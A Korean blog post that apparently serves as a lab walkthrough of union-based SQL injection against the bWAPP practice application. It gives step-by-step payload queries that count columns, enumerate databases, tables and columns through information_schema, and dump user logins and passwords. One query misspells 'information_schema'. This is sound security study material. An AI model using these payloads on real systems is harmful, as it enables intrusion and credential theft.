SQL Injection_Union based-2

심야·2022년 12월 21일
0

기능 분석

인젝션 가능 여부 확인


value 값을 ' 로 변경 해 인젝션이 가능한지 확인한다.

확인 결과 MySQL 에러가 발생한다. 따라서 SQL 인젝션이 가능하다.
해당 사이트는 GET method를 사용하고 있으므로 주소창에 쿼리를 질의한다.

정상 서비스가 반환하는 컬럼 개수 확인

  • 질의 쿼리 : 1 order by 8

UNION 구문을 이용해 데이터 출력 위치 확인

해당 사이트는 하나의 레코드만 출력하므로, 정상적인 쿼리 실행 결과는 없도록 만든다.

  • 질의 쿼리 : 1 and 1=2 union select 1,2,3,4,5,6,7

DBMS 종류 확인

  • 질의 쿼리 : 1 and 1=2 union select 1, @@version, 3,4,5,6,7

    구글링을 해 사용하는 DBMS는 MYSQL임을 확인한다.

schema 테이블을 이용해 DB종류 조회

  • 질의 쿼리 : 1 and 1=2 union select 1, count(schema_name),3,4,5,6,7 from information_schema.schemata

DB 이름 출력

  • 질의 쿼리 : 1 and 1=2 union select 1,schema_name,3,4,5,6,7 from information_schema.schemata limit 1,1

tables 테이블 이용해 BWAPP DB 테이블 개수와 종류 확인

  • 질의 쿼리 : 1 and 1=2 union select 1, count(table_name), 3,4,5,6,7 from information_schema.tables where table_schema='BWAPP'

테이블 이름 조회

  • 질의 쿼리 : 1 and 1=2 union select 1, table_name, 3,4,5,6,7 from informtaion_schema.tables where table_schema = 'BWAPP' limit 3,1

users 테이블에 컬럼 정보 조회

컬럼 개수 조회

  • 질의 쿼리 : 1 and 1=2 union select 1, count(column_name), 3,4,5,6,7 from information_schema.columns where table_schema='BWAPP' and table_name='users'

컬럼 이름 조회

  • 질의 쿼리 : 1 and 1=2 union select 1, group_concat(column_name separator '/'), 3,4,5,6,7 from information_schema.columns where table_schema = 'BWAPP' and table_name='users'

users 테이블 정보 조회

  • 질의 쿼리 : 1 and 1 = 2 UNION select 1, group_concat(login separator '
    '), group_concat(password separator '
    '), group_concat(secret separator '
    '), group_concat(admin separator '
    '), 6, 7 from users

profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글